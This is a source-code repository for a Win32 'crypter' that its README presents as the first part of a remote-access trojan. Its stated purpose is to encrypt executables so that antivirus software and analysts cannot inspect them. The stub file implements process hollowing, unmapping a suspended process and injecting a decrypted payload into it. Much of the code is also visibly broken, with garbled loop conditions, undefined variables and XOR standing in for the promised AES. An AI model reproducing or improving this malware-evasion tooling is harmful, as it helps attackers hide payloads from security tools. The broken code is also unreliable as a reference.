├── IMAGES ├── crypter_example_012.png └── crypter_structere_02.png ├── src ├── stub.h ├── builder.h ├── builder.cpp └── stub.cpp ├── README.md └── LICENSE /IMAGES/crypter_example_012.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yuang1516/AES-Crypter-WIN32/HEAD/IMAGES/crypter_example_012.png -------------------------------------------------------------------------------- /IMAGES/crypter_structere_02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yuang1516/AES-Crypter-WIN32/HEAD/IMAGES/crypter_structere_02.png -------------------------------------------------------------------------------- /src/stub.h: -------------------------------------------------------------------------------- 1 | // 2 | // stub.h 3 | // Crypter 4 | // 5 | // Created by Derek Ta on 11/15/14. 6 | // 7 | // 8 | 9 | #ifndef __Crypter__stub__ 10 | #define __Crypter__stub__ 11 | 12 | #include 13 | #include 14 | 15 | #endif /* defined(__Crypter__stub__) */ 16 | -------------------------------------------------------------------------------- /src/builder.h: -------------------------------------------------------------------------------- 1 | // 2 | // cryptersrc.h 3 | // Crypter 4 | // 5 | // Created by Derek Ta on 11/15/14. 6 | // 7 | // 8 | 9 | #ifndef Crypter_cryptersrc_h 10 | #define Crypter_cryptersrc_h 11 | 12 | void LoadFile(char *File, struct StubData *sData); 13 | void AESEncrypt(struct StubData *sData); 14 | void BuildEncryptedVers(struct StubData *sData); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | AES Crypter-1st Part of SoE RAT 2 | ===================== 3 | 4 | 5 | 6 | 7 | ###What is AES Crypter? 8 | AES crypter is a tool that takes a Portable-Executable program and encrypts it 9 | so that is unable to be analyzed in memory by AVs or reverse-engineers. 10 | ###How does AES Crypter work? 11 | AES Crypter receives a user-designated program and outputs an encryption version of the program. Essentially, the encrypted program is essentially a **stub** attached to a **payload** in memory, which holds the obfuscated code of the original program. When the encrypted program is executed and loaded into memory, the stub decrypts the payload, recreates into memory from this decrypted code, and then executes the "useful" code at runtime. 12 | ![Visual Representation](http://raw.github.com/derekdakid/AES-Crypter-WIN32/master/IMAGES/crypter_example_012.png) 13 | 14 | **The payload itself must further be encrypted in order to provide enhanced security, the stub may be rendered obsolete at any time by AVs.** 15 | 16 | [] String Variables and Payload encrypted with AES Algorithm 17 | 18 | [] Win32 API function calls are encrypted -> Go to kernel32.dll and look at its export address table -> Determine the memory addresses of your functions from the table 19 | 20 | [] Length of elements in the "tail" are variable and unpredictable 21 | 22 | ![Program inMemory](http://raw.github.com/derekdakid/AES-Crypter-WIN32/master/IMAGES/crypter_structere_02.png) 23 | ### Credits: 24 | **Project Lead/Lead Hacker: Derek Ta (dta858king@gmail.com)** 25 | 26 | 27 | ### References for Frameworks/Information used in project 28 | 29 | [Windows Portable Executable Format: In-depth](http://msdn.microsoft.com/en-us/magazine/cc301805.aspx) 30 | 31 | [Win32 API](http://msdn.microsoft.com/en-us/library/windows/desktop/ff818516(v=vs.85).aspx) 32 | 33 | [C/C++ Reference] (http://en.cppreference.com/w/) 34 | -------------------------------------------------------------------------------- /src/builder.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | 3 | // Allocating the file to encrypt 4 | 5 | // Data sent to the stub 6 | struct StubData 7 | { 8 | unsigned char * pFileBuffer; 9 | unsigned long FileSize; 10 | unsigned char * pKey; 11 | unsigned long KeySize; 12 | }; 13 | // LoadFile (to encrypt) into Memory -> Encrypt that buffer -> Pass buffer to StubData 14 | 15 | 16 | // Retrieves pointer to file, pointer to area we are going to work 17 | // with file, opens file 18 | // and allocates space on the heap. Maps the original file into 19 | // space on the heap and sData.pFileBuffer points to beginning 20 | // of this location 21 | void LoadFile(char *File, struct StubData *sData) 22 | { 23 | // Load file into memory, file hasn't been loaded yet, StubData has 24 | unsigned long BytesRead; 25 | HANDLE hFile = CreateFile(File, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); 26 | printf("Loading Portable Executable"); 27 | 28 | if (hFile == INVALID_HANDLE_VALUE) 29 | { 30 | printf("Error - Cannot open file"); 31 | return; 32 | } 33 | sData ->FileSize = GetFileSize(hFile, NULL); 34 | 35 | 36 | if (sData->FileSize = INVALID_FILE_SIZE){ 37 | CloseHandle(hFile); 38 | printf("Error - Cannot retrieve file size"); 39 | return; 40 | } 41 | 42 | // The stub will get a pointer to the end of the file's memory space 43 | sData -> pFileBuffer = (unsigned char *)malloc(sData->FileSize); 44 | if (!sData->pFileBuffer){ 45 | CloseHandle(hFile); 46 | printf("Error - Cannot allocate buffer memory"); 47 | return; 48 | } 49 | ReadFile(hFile, sData ->pFileBuffer, sData->FileSize, &BytesRead, NULL); 50 | CloseHandle(hFile); 51 | } 52 | 53 | 54 | void AESEncrypt(struct StubData * sData, const char* userDefKey) 55 | { 56 | //Replace with AES Encryption later 57 | int i, j; 58 | sData->KeySize = strlen(userDefKey); 59 | sData->pKey = (unsigned char*)userDefKey; 60 | 61 | for (i; iFileSize; i++) 62 | { 63 | *(sData ->pFileBuffer+i) ^= *(sData->pKey+j); 64 | j++; 65 | 66 | if(j>=sData->KeySize) 67 | j=0; 68 | } 69 | } 70 | 71 | void BuildEncryptedVers (struct StubData * sData) 72 | { 73 | HRSRC hResource; 74 | HGLOBAL hGlobal; 75 | HANDLE hFile, hUpdate; 76 | 77 | unsigned long rSize, BytesWritten; 78 | unsigned char * pBuffer; 79 | 80 | printf("[*]Building Crypted.exe \n"); 81 | 82 | // Resource 83 | hResource = FindResource(NULL, MAKEINTRESOURCE(1), "STUB"); 84 | if (!hResource) 85 | { 86 | printf("Error: could not find resource"); 87 | return; 88 | } 89 | rSize = SizeofResource(NULL, hResource); 90 | 91 | // Global 92 | hGlobal = LoadResource(NULL, hResource); 93 | if (!hGlobal) 94 | { 95 | printf("Error: Could not load resource"); 96 | return; 97 | } 98 | hFile = CreateFile("crypted.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); 99 | 100 | // File Operations 101 | if (hFile == INVALID_HANDLE_VALUE) 102 | { 103 | free(pBuffer); 104 | free(sData->pFileBuffer); 105 | printf("Error - Could not create file"); 106 | return; 107 | } 108 | if (WriteFile(hFile, pBuffer, rSize, &BytesWritten, NULL)==0) 109 | { 110 | free(pBuffer); 111 | free(sData->pFileBuffer); 112 | printf("Error - Could not write to file"); 113 | return; 114 | } 115 | 116 | // Discard the original file 117 | CloseHandle(hFile); 118 | free(pBuffer); 119 | 120 | // Resources -> Where the data is stored 121 | hUpdate = BeginUpdateResource("crypted.exe", FALSE); // Updating the encrypted file's contents 122 | if(UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(10), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pFileBuffer, sData->FileSize) == 0){ 123 | printf("Error - Could not update resource"); 124 | } 125 | 126 | if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(20), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pKey, sData->KeySize)==0) // Updating the file's key -> key same for both encryption and decryption 127 | { 128 | printf("Error - Could not update resource"); 129 | } 130 | EndUpdateResource(hUpdate, FALSE); 131 | } 132 | 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /src/stub.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // stub.c 3 | // Crypter 4 | // 5 | // Created by Derek Ta on 11/15/14. 6 | // 7 | // 8 | 9 | #include "stdafx.h" 10 | 11 | typedef void (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress); 12 | 13 | 14 | struct StubData{ 15 | unsigned char * pFileBuffer; 16 | unsigned long FileSize; 17 | unsigned char *pKey; 18 | unsigned int KeySize; 19 | char FileName[MAX_PATH]; 20 | }; 21 | 22 | /* WINAPI Functions 23 | * -> SizeofResource(HMODULE hModule, HRSRC hResInfo) = Retrieves size of specified resource in bytes 24 | * -> LockResource(HGLOBAL hResData) = Pointer to resource in memory 25 | * -> FindResource(HMODULE hModule(optional), LPCTSTR lpName, LPCTSTR lpType) = Determines the location of resource with 26 | specified name and type in specified module, if it is null then it searches in the module used to create this process. So it searches in the memory of payload 27 | / 28 | 29 | /* Microsoft Data types 30 | * -> RT_RCDATA = Application-defined resource 31 | * ->MAKEINTRESOURCE(10) = RT_RCDATA 32 | * ->MAKEINTRESOURCE(20) = a standard vxd resource 33 | * ->make int resource can be used in find resource as the integer identifier of the resource 34 | */ 35 | 36 | 37 | // Finds the resources assigned in the builder with MAKEINTRESOURCE() 38 | // Loads the stub data into memory 39 | void LoadStruct(struct StubData *sData) 40 | { 41 | // Resources are read only data 42 | HRSRC hResource; // Handle to the resource in mem 43 | HGLOBAL hGlobal; //Handle to loaded resource 44 | 45 | //Get file size for stub data 46 | hResource = FindResource(NULL, MAKEINTRESOURCE(10), RT_RCDATA); // Finds filesize in builder 47 | if (!hResource) 48 | exit(EXIT_FAILURE); 49 | sData->FileSize = SizeofResource(NULL, hResource); 50 | 51 | //Get key size for stub data 52 | hResource = FindResource(NULL, MAKEINTRESOURCE(20), RT_RCDATA); //Finds keysize in builder 53 | if(!hResource) 54 | exit(EXIT_FAILURE); 55 | sData->KeySize = SizeofResource(NULL, hResource); 56 | 57 | // Map to memory 58 | hGlobal = LoadResource(NULL, hResource); 59 | if (!hGlobal) 60 | exit(EXIT_FAILURE); 61 | 62 | // Assign starting point of memory to the buffer 63 | sData->pKey = (unsigned char*)LockResource(hGlobal); 64 | if (!sData->pKey) 65 | exit(EXIT_FAILURE); 66 | GetModuleFileName(NULL, sData->FileName,MAX_PATH); 67 | // Retrieves the stub's path 68 | 69 | } 70 | 71 | // Decrypts the file buffer that the stubdata points to 72 | void Decrypt(struct StubData *sData) 73 | { 74 | // Aes decryption temporarily filled with xor encryption 75 | int i=0, j=0; 76 | for (i; iFileSize, i++) 77 | { 78 | *(sData->pFileBuffer+i) ^= *(sData->pKey+j); //Xor the bytes in the file with the key at index j 79 | 80 | // Startover when we reach the end of the key 81 | if (j>=sData->KeySize) 82 | j=0; 83 | // As it loops through the file, when it reaches the end of the key it restarts 84 | } 85 | } 86 | 87 | /* STARTUPINFO = Specifies main window properties 88 | * PROCESS_INFORMATION = Information about newly created process and primary thread 89 | * CONTEXT = Contains start address in relation to the EXE, contains location of kernel32 90 | */ 91 | 92 | void runPortableExecutable(struct StubData *sData) 93 | { 94 | // si,pi, and ctx hold data associated with CreateProcess, essential for process to be created 95 | STARTUPINFO si; 96 | PROCESS_INFORMATION pi; 97 | CONTEXT ctx; 98 | 99 | PIMAGE_DOS_HEADER dosheader; 100 | PIMAGE_NT_HEADERS ntheader; 101 | PIMAGE_SECTION_HEADER sectionheader; 102 | 103 | PTRZwUnmapViewOfSection pZwUnmapViewOfSection = NULL; 104 | 105 | memset(&si, 0, sizeof(si)); // sets bytes at si pointer 106 | si.cb = sizeof(STARTUPINFO); 107 | ctx.ContextFlags = CONTEXT_FULL; 108 | 109 | dosheader = (PIMAGE_DOS_HEADER)&sData->pFileBuffer[0]; 110 | if (dosheader->e_magic !=IMAGE_DOS_SIGNATURE) 111 | return; 112 | ntheader = (PIMAGE_NT_HEADERS)&sData->pFileBuffer[dosheader->e_lfanew]; 113 | if (ntheader->Signature != IMAGE_NT_SIGNATURE) 114 | return; 115 | 116 | // Start the executable in frozen state to prepare to generate decrypted shellcode 117 | CreateProcess(NULL, sData->FileName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); 118 | 119 | pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); 120 | pZwUnmapViewOfSection(pi.hProcess, (void*)ntheader->OptionalHeader.ImageBase); 121 | 122 | VirtualAllocEx(pi.hProcess, (void*)ntheader->OptionalHeader.ImageBase, ntheader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 123 | WriteProcessMemory(pi.hProcess, (void *)ntheader->OptionalHeader.ImageBase, &sData ->pFileBuffer[0], ntheader->OptionalHeader.SizeOfHeaders, NULL); 124 | 125 | for(int i=0; iFileHeader.NumberOfSections; i++) 126 | { 127 | sectionheader = (PIMAGE_SECTION_HEADER)&sData->pFileBuffer[dosheader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADERS)*i]; 128 | WriteProcessMemory(pi.hProcess, (void *)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), &sData->pFileBuffer[pish->PointerToRawData], pish->SizeOfRawData, NULL); 129 | } 130 | GetThreadContext(pi.hThread, &ctx); 131 | ctx.Eax = ntheader->OptionalHeader.ImageBase + ntheader->OptionalHeader.AddressOfEntryPoint; 132 | SetThreadContext(pi.hThread, &ctx); 133 | ResumeThread(pi.hThread); 134 | } 135 | 136 | 137 | int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 138 | { 139 | struct StubData stub; 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It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | 341 | --------------------------------------------------------------------------------